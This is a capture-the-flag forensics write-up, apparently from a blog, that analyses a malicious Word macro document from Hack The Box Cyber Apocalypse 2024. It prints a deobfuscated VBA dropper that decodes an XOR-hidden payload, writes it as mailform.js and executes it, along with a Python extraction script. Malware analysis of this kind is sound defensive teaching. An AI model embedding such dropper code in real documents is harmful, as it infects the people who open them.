Introduction
In the bustling city of KORPβ’, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?
Type: Forensics
Difficulty: Hard
Event: Hack The Box Cyber Apocalypse 2024: Hacker Royale (ctftime)
Initial recon
Given: single DOCM file.
$ invitation.docm (read-only)
ce9f4c1bd44ff0a9131e63cf4f8c0ce5c1c8e4eb77bffe843a325d08b34eb9bb
Investigation
DOCM is are macro-enabled Microsoft Word document format. Analysis of this kind of files are in my opinion the most popular tasks whenever forensics category is included in CTF events. I covered two of those in my blog:
So without further ado, let's extract that VBA macro using olevba Python script.
$ olevba invitation.docm
//... (output trimmed for readability)
VBA macro
I will save you reading the origal, obfuscated script.
Stage 01 (deobfuscated)
Public jspath As String
Public appdataPath As String
Function xorString(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
xorString = TRUE
End Function
Dim filenumber
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
filenumber = FreeFile
Open (ActiveDocument.FullName) For Binary As #filenumber
Dim byteArray() As Byte
ReDim byteArray(file_length)
Get #filenumber, 1, byteArray
Dim convertedToUnicode As String
convertedToUnicode = StrConv(byteArray, vbUnicode)
Dim singeMatch, matches
Dim regexp
Set regexp = CreateObject("vbscript.regexp")
regexp.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set matches = regexp.Execute(convertedToUnicode)
Dim indexOfFirstMatch
If matches.Count = 0 Then
GoTo lable1
End If
For Each singleMatch In matches
indexOfFirstMatch = singleMatch.FirstIndex
Exit For
Next
Dim secondByteArray() As Byte
Dim arbitraryLength As Long
arbitraryLength = 13082
ReDim secondByteArray(arbitraryLength)
Get #filenumber, indexOfFirstMatch + 81, secondByteArray
If Not xorString(secondByteArray(), arbitraryLength + 1) Then
GoTo lable1
End If
appdataPath = Environ("appdata") & "\Microsoft\Windows"
Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
If Not fileSystemObject.FolderExists(appdataPath) Then
appdataPath = Environ("appdata")
End If
Set fileSystemObject = Nothing
Dim fileNumber2
fileNumber2 = FreeFile
jspath = appdataPath & "\\" & "mailform.js"
Open (jspath) For Binary As #fileNumber2
Put #fileNumber2, 1, secondByteArray
Close #fileNumber2
Erase secondByteArray
Set shellObject = CreateObject("WScript.Shell")
shellObject.Run """" + jspath + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
lable1:
Close #fileNumber2
ActiveDocument.Save
End If
End Sub
Read current file (DOCM) binary.
Search for the pattern in the binary data.
Run custom XORing function over the succeeding 13082 bytes.
Resulting binary data is saves as a
mailform.js
.WScript
mailform.js
is then executed with the argumentvF8rdgMHKBrvCoCp0ulm
I have transcribed the VBA into the Python script to obtain the mailform.js
.
Stage 01 (Python)
#!/usr/bin/python
import re
def xorString(given_string, length):
xor_key = 45
for i in range(length):
given_string[i] = given_string[i] ^ xor_key
xor_key = ((xor_key ^ 99) ^ (i % 254))
return given_string
def main():
with open('invitation.docm', 'rb') as docmFile:
byteArray = bytearray(docmFile.read())
convertedToUnicode = byteArray
pattern = b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa'
matches = re.finditer(pattern, convertedToUnicode)
indexOfFirstMatch = None
for singleMatch in matches:
indexOfFirstMatch = singleMatch.start()
break
if indexOfFirstMatch is None:
print('pattern not found')
return
arbitraryLength = 13082
docmFile.seek(indexOfFirstMatch + 80)
secondByteArray = bytearray(docmFile.read(arbitraryLength))
secondByteArray = xorString(secondByteArray, arbitraryLength)
with open("mailform.js", 'wb') as docmFile2:
docmFile2.write(secondByteArray)
if __name__ == "__main__":
main()
This resulted in the JS file.
Stage 02 (mailform.js
)
Because it is a JavaScript we can leverage it very carefuly to let the browser decode the code for us and retrieve the next payload. Please do notice that I've marked the hazardous eval(..)
function that has to be removed to neutralize the payload. I have replaces it with a console.log(..)
.
You never want any kind of
eval
orInvoke-Expression
slip through.
Stage 03
More JavaScript to deobfuscate. Unless..
And after decoding this in CyberChef π
Additional reading